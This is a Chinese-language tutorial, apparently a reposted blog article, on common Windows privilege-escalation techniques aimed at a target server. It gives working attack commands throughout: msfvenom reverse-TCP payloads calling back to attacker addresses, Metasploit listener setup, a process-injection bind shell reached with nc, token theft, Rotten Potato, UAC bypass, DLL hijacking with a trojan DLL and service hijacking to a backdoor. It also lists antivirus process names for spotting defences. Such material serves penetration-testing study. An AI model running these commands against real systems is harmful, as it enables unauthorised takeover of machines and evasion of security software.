admin管理员组文章数量:1637674
目录
基础Windows信息收集
使用本地用户提权
使用系统自带命令提权
AT命令
执行定时任务提升权限
配合msf反弹shell
SC命令
ps命令
使用进程迁移注入
手动进程注入
msf进程注入
令牌窃取提权
msf令牌窃取
令牌窃取烂土豆提权
UAC绕过提权
getsystem自动化提权
UAC绕过提权
DLL劫持提权
不带引号服务路径配合msf
不安全的服务权限配合msf
内核溢出漏洞提权
原理
利用方式
数据库提权
基础Windows信息收集
systeminfo | 查询系统信息 |
hostname | 查询主机名 |
net user | 查看用户信息 |
netstat -ano | 查看进程 |
wmic os get caption | 查看系统名 |
wmic qfe get Description,HotFixID,InstalledOn | 查看补丁信息 |
wmic product get name,version | 查看当前安装程序 |
wmic service list brief | 查看本机服务 |
wmic process list brief | 查看本机进程 |
net share | 查看本机共享列表 |
netsh firewall show config | 查看防火墙配置 |
也需要主要注意杀软程序
{"360tray.exe", "360安全卫士"},
{"360sd.exe", "360杀毒"},
{"a2guard.exe", "a-squared杀毒"},
{"ad-watch.exe", "Lavasoft杀毒"},
{"cleaner8.exe", "The Cleaner杀毒"},
{"vba32lder.exe", "vb32杀毒"},
{"MongoosaGUI.exe", "Mongoosa杀毒"},
{"CorantiControlCenter32.exe", "Coranti2012杀毒"},
{"F-PROT.EXE", "F-PROT杀毒"},
{"CMCTrayIcon.exe", "CMC杀毒"},
{"K7TSecurity.exe", "K7杀毒"},
{"UnThreat.exe", "UnThreat杀毒"},
{"CKSoftShiedAntivirus4.exe", "Shield Antivirus杀毒"},
{"AVWatchService.exe", "VIRUSfighter杀毒"},
{"ArcaTasksService.exe", "ArcaVir杀毒"},
{"iptray.exe", "Immunet杀毒"},
{"PSafeSysTray.exe", "PSafe杀毒"},
{"nspupsvc.exe", "nProtect杀毒"},
{"SpywareTerminatorShield.exe", "SpywareTerminator杀毒"},
{"BKavService.exe", "Bkav杀毒"},
{"MsMpEng.exe", "Microsoft Security Essentials"},
{"SBAMSvc.exe", "VIPRE"},
{"ccSvcHst.exe", "Norton杀毒"},
{"QQ.exe", "QQ"},
{"f-secure.exe", "冰岛"},
{"avp.exe", "卡巴斯基"},
{"KvMonXP.exe", "江民杀毒"},
{"RavMonD.exe", "瑞星杀毒"},
{"Mcshield.exe", "麦咖啡"},
{"egui.exe", "NOD32"},
{"kxetray.exe", "金山毒霸"},
{"knsdtray.exe", "可牛杀毒"},
{"avcenter.exe", "Avira(小红伞)"},
{"ashDisp.exe", "Avast网络安全"},
{"rtvscan.exe", "诺顿杀毒"},
{"ksafe.exe", "金山卫士"},
{"QQPCRTP.exe", "QQ电脑管家"},
{"Miner.exe", "流量矿石"},
{"AYAgent.aye", "韩国胶囊"},
{"patray.exe", "安博士"},
{"V3Svc.exe", "安博士V3"},
{"avgwdsvc.exe", "AVG杀毒"},
{"ccSetMgr.exe", "赛门铁克"},
{"QUHLPSVC.EXE", "QUICK HEAL杀毒"},
{"mssecess.exe", "微软杀毒"},
{"SavProgress.exe", "Sophos杀毒"},
{"fsavgui.exe", "F-Secure杀毒"},
{"vsserv.exe", "比特梵德"},
{"remupd.exe", "熊猫卫士"},
{"FortiTray.exe", "飞塔"},
{"safedog.exe", "安全狗"},
{"parmor.exe", "木马克星"},
{"beikesan.exe", "贝壳云安全"},
{"KSWebShield.exe", "金山网盾"},
{"TrojanHunter.exe", "木马猎手"},
{"GG.exe", "巨盾网游安全盾"},
{"adam.exe", "绿鹰安全精灵"},
{"AST.exe", "超级巡警"},
{"ananwidget.exe", "墨者安全专家"},
{"AVK.exe", "GData"},
{"ccapp.exe", "Symantec Norton"},
{"avg.exe", "AVG Anti-Virus"},
{"spidernt.exe", "Dr.web"},
{"Mcshield.exe", "Mcafee"},
{"avgaurd.exe", "Avira Antivir"},
{"F-PROT.exe", "F-Prot AntiVirus"},
{"vsmon.exe", "ZoneAlarm"},
{"avp.exee", "Kaspersky"},
{"cpf.exe", "Comodo"},
{"outpost.exe", "Outpost Firewall"},
{"rfwmain.exe", "瑞星防火墙"},
{"kpfwtray.exe", "金山网镖"},
{"FYFireWall.exe", "风云防火墙"},
{"MPMon.exe", "微点主动防御"},
{"pfw.exe", "天网防火墙"},
{"S.exe", "在抓鸡"},
{"1433.exe", "在扫1433"},
{"DUB.exe", "在爆破"},
{"ServUDaemon.exe", "发现S-U"},
{"BaiduSdSvc.exe", "百度杀软"},
{"hipstray.exe", "火绒"},
使用本地用户提权
使用系统自带命令提权
AT命令
AT命令是Windows XP中内置的命令,可以进行计划的安排、任务的管理和工作事务的处理等等。在Windows 2000、Windows 2003、Windows XP这三类系统中,可以使用AT命令将权限提升至system权限,其他系统已经不支持了。
执行定时任务提升权限
原理是因为在进行计时任务时会默认使用系统权限调用计时任务,所以可以利用普通用户建立计时任务,等待系统调用,提升至系统权限。
at 20:18 /interactive cmd #在20:18分生成一个交互式的System权限的cmd
到20:18分在新弹出的cmd中输入whoami就是system权限。
配合msf反弹shell
可以在msf生成一个木马文件,然后上传目的服务器,让AT命令进行执行程序,攻击端开启监听,当目的服务器执行后就可以反弹shell。
生成木马文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.15.249 lport=4444 -f exe > shell.exe
然后将这个木马文件上传到目标服务器(就是模拟上传webshell)
然后使用msf设置监听,接收反弹shell
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
run
目标服务器执行shell
at 20:38 C:\shell.exe
SC命令
SC命令是用于服务控制管理器和服务进行通信的命令行程序,通俗将就是SC命令可以启动一个服务。网上说Windows7/8、Windows Server 2003、2008、2012、2016都能够使用,但是自己测试只有2003才能成功,2008会报没有权限的错。
#启动一个新的cmd窗口
sc Create syscmd binPath= "cmd /K start" type= own type= interact
#启动服务
sc start syscmd
ps命令
pstools是微软官方工具,是为Windows提供的第三方工具库。
在Windows2003、Windows2012、Windows2008和Windows2016都可以使用,在Windows 7/8/10由于需要调用服务,而主机通常都没有这类服务,所以会出现调用失败的情况。
下载pstools
PsTools - Sysinternals | Microsoft Learn
将psexec.exe文件传入服务器,然后执行命令:
PsExec.exe -accepteula -s -i -d cmd #调用运行cmd
使用进程迁移注入
原理就是获取的权限低的进程注入到权限高的进程,这样就实现了提权,也相当于开启了一个后门,隐秘性极高,不会创建新的进程,很难发现。
- 限制:低权限用户不能使用,如web权限。一般用于内网中提权
- 优点:不会被杀毒软件或告警设备拦截
手动进程注入
利用pinjector工具实现进程注入。
下载地址:Experts in cybersecurity and cyber intelligence | Tarlogic
将pinjector.exe上传到目标服务器即可。
然后使用命令查看所有进程的权限,再将权限绑定值system权限的进程中,最好绑定系统进程因为可以实现开机自启,最后在攻击机上连接端口即可。
#列出所有进程
pinjector.exe -l
#选择一个system权限运行的进程,对此pid进程执行注入,并建立监听端口
pinjector.exe -p <pid> cmd <port>
#攻击机连接
nc -nv <rhost> <port>
msf进程注入
#查看享有system权限进程的pid
meterpreter > ps
#迁移对应的pid
meterpreter > migrate pid
迁移成功后,getuid就成为了system权限。
令牌窃取提权
令牌是系统的临时秘钥,相当于账号和密码,决定是否允许这次请求和判断这次请求属于哪一个用户。它允许用户在不提供密码或其他凭证的前提下,访问网络和系统资源,令牌将持续存在于系统中,直到系统重新启动。令牌最大的特点就是随机性,黑客无法猜测出令牌。
但是攻击者可以对其进行令牌窃取,达到假冒用户来进行各种操作。
适用版本:Windows2008、2012、2016部分,Windows10之后不行。
msf令牌窃取
让其目标服务器上线,然后利用msf的incognito模块获取当前用户令牌。
#生成后门让其目标服务器访问上线
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.15.249 lport=4444 -f exe -o shell.exe
#使用msf工具开启监听,0.0.0.0表示监听所有网卡
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
run
#上线后使用incognito模块获取当前用户令牌
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
可以知道,如果服务器没有出现NT AUTHORITY\SYSTEM就无法提权到system权限。
令牌窃取烂土豆提权
烂土豆提权通过模仿令牌完成的提权,所以只有具有"NT AUTHORITY/SYSTEM"的账户才能够模仿别人的令牌,一般大多数的服务型(IIS、Mysql等)有这个权限,大多数用户级的账户没有这个权限。
烂土豆提权可以是web权限。当拿到webshell使用msf上线时,由于此时是web权限,不能进行常规令牌窃取,权限不够,这时候需要借助烂土豆漏洞来进行提权。
虽是这样简单的描述总结,但提权依然要查看一些条件,最简单的办法就是直接尝试提权,能成功就成功,因为现实的环境都是很复杂的。
利用工具地址:烂土豆ms16-075
利用方式:将烂土豆文件上传到网站根目录(目标服务器内),并在msf中继续执行命令:
#查看当前目录是否上传烂土豆成功
ls
#执行烂土豆程序
execute -cH -f ./potato.exe
#加载窃取功能
use incognito
#查看可窃取的令牌
list_tokens -u
#使用令牌
impersonate_tokn "NT AUTHORITY\SYSTEM"
UAC绕过提权
getsystem自动化提权
使用getsystem命令可以实现msf的自动化提权。
自动化具体过程:
- getsystem创建一个新的Windows服务,设置为system运行,当它启动时连接一个命名管道
- 然后产生一个进程,创建一个命名管道并等待来自system服务的连接
- 服务启动,导致与命名管道建立连接
- 进程接收连接并调用ImpersonateNamedPipeClient,从而为system用户创建模拟令牌。
UAC绕过提权
如果目标服务器没有开启UAC,上线后getsystem就可以提权成功;如果目标服务器开启UAC就需要绕过UAC机制进行提权。
UAC,用户账户控制,要求用户在执行可能会影响计算机运行的操作或执行更改一下其他用户的设置的操作之前,需要提供权限或管理员密码。
UAC设置:
- 始终通知:保护等级最高,每当有程序需要使用高级别的权限时都会提示本地用户
- 仅在程序试图更改我的计算机时通知我:UAC默认设置。当本地的Windows程序要使用高级别的权限时,不会通知用户;当第三方程序要使用高级别的权限时,会提示本地用户。也分是否降低桌面的亮度的设置。
- 从不提示:当用户为系统管理员时,所有程序都以高级别的权限执行。
可以得出如果UAC设置为高的时候是无法进行直接提权的,因为需要人为的去点击确认。
msf绕过uac利用方式:
#查询uac模块
search uac
#选择使用模块名,比如Windows7选择exploit/windows/local/ask
use 模块名
#查看需要设置的参数
show option
#设置参数
set session
set rhosts
#运行
run
DLL劫持提权
原理:Windows程序启动的时候需要DLL文件。攻击者可以通过在应用程序要查找的位置放置恶意的DLL文件进行提权。
通常,Windows应用程序有预定好的搜索DLL文件的路径,以下顺序:
- 应用程序安装时自定义的加载的目录(最好是替换该目录下的DLL文件,因为Windows目录中替换文件需要高权限才能执行)
- C:\Windows\System32
- C:\Windows\System
- C:\Windows
- 当前工作目录Current Working Directory,CWD
- 在Path环境变量的目录(先系统变量后用户变量)
1、首先要收集加载的DLL
可以查看目标服务器存在哪些服务,然后找到相关服务本地安装,安装后使用火绒剑或ChkDllHijack等工具进行查找加载的DLL文件即可。
ChkDllHijack工具下载:GitHub - anhkgg/anhkgg-tools: Anhkgg's Tools
一般查找到系统文件加载DLL文件是无法利用的,一般可以利用的就是未知文件和数字签名文件。
2、使用msf制作DLL木马(木马名字和原本DLL文件名相同)
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.20 lport=5566 -f dll >joke.dll
3、拿到webshell或本地用户权限后上传木马替换原本DLL文件,开启监听等待程序执行
这里需要管理员去运行软件,此时软件就会出现无响应的情况,很有可能管理员会卸载重新安装。
不带引号服务路径配合msf
如果服务的二进制路径为包含引号,则操作系统会执行找到的空格分隔的服务路径的第一个实例。
比如:"C:\Program File(x86)"若不带引号且存在空格,则会将C:\Program识别为服务路径,启动该服务就会启动C:\Program.exe,所以只要构造带后门的Program.exe再上传至指定的目录下,启动服务就可以实现提权。
利用条件:
- 本地用户权限
- 服务路径不带引号
- 服务路径中存在空格
这个条件还是非常苛刻的,因为现在大部分虚拟机或者主机都不存在这样的路径了。
1、检测没有带引号的服务路径
(1)使用脚本检测
脚本下载地址JAWS:GitHub - 411Hall/JAWS: JAWS - Just Another Windows (Enum) Script
然后将脚本上传至目标服务器,然后msf获得本地用户权限后输入shell进入cmd输入powershell,在powershell中执行该文件
./jaws-enum.ps1
(2)使用命令获取
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
2、上传恶意文件到指定目录,开启监听启动服务,就可以实现提权。
不安全的服务权限配合msf
由于管理员配置错误,配置一些服务没有设置权限或者允许低权限用户进行执行,这导致攻击者可以任意修改,比如修改该服务的路径为上传的恶意文件的路径,这样执行该服务时就能够实现提权。
1、使用Accesschk工具
下载地址:AccessChk - Sysinternals | Microsoft Learn
将accesschk.exe上传到目标服务器上,执行以下命令:
#绕过许可,因为第一次执行会跳出提示窗口让用户接受许可,所以需执行以下命令自动接受
accesschk.exe /accepteula
#检查服务权限配置,重点注重SERVICE_ALL_ACCESS权限的服务
accesschk.exe -uwcqv "Administartors" *
#修改服务路径指向执行后门木马程序的路径
sc config "service" binpath="C:\shell.exe"
#重启服务,实际环境是等待管理员对服务进行重启
sc start service
这里是要配合msf进行获取反弹的system权限。
2、使用PowerUp工具
下载地址:GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework
将PowerUp.ps1上传到目标服务器,然后使用msf或其他方式获得本地用户权限后输入shell进入cmd再输入powershell在powershell执行以下命令:
#运行PowerUp工具
./PowerUp.ps1
#加载工具的模块,有很多模块,感兴趣可以自己去了解
Import-Module .\PowerUp.ps1
#进行攻击
Invoke-All Checks
内核溢出漏洞提权
原理
内核溢出漏洞,也就是缓冲区溢出漏洞,是最常见的内存错误之一。
缓冲区是指在内存空间中预留一定的存储空间用来缓冲输入或输出的数据。简单来说就是当用户打开程序或者文件的时候,系统会将数据从内存中复制一份到缓冲区,当再次打开时,系统可以直接从缓冲区读取,增强效率。而缓冲区往往是有最大容量的,如果程序试图将大量数据存入缓冲区,但是没有足够空间就会发生缓冲区溢出。
攻击者可以利用写入超过缓冲区长度的字符串,造成缓冲区溢出,可以使得程序运行失败,甚至系统崩溃;也可以劫持进程、执行任意指令,获取系统权限。
利用方式
主要思路就是查看系统安装的补丁信息,查看系统是否没有安装某一漏洞的补丁且系统存在该漏洞,然后根据第三网站或者项目寻找exp进行攻击。
可以使用辅助工具进行查找存在的补丁漏洞,比如WindowsVulnScan
下载地址:WindowsVulnScan/version1 at master · chroblert/WindowsVulnScan · GitHub
这款工具是基于主机的漏洞扫描工具,可以实现自动化对目标足迹操作系统信息收集,并且对比已知漏洞库,具有公开exp的CVE。
1、首先运行powershell脚本收集信息
.\KBCollect.ps1
2、将运行后产生的KB.json文件移动到cve-check.py目录下
3、安装一些python3模块
python3 -m pip install requirements.txt
4、运行cve-check.py -u创建CVEKB数据库
5、运行cve-check.py -U更新CVEKB数据库中的hashPOC字段
6、运行cve-check.py -C -f KB.json查看具有公开exp的CVE。
还可以使用辅助网站:提权辅助网页 Windows提权辅助
数据库提权
另外,还可以进行数据库提权
SQL Server 数据库常见提权总结-CSDN博客
mysql提权总结(自学)-CSDN博客
版权声明:本文标题:Windows系统常见提权方式 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://www.elefans.com/dongtai/1729254626a1192528.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论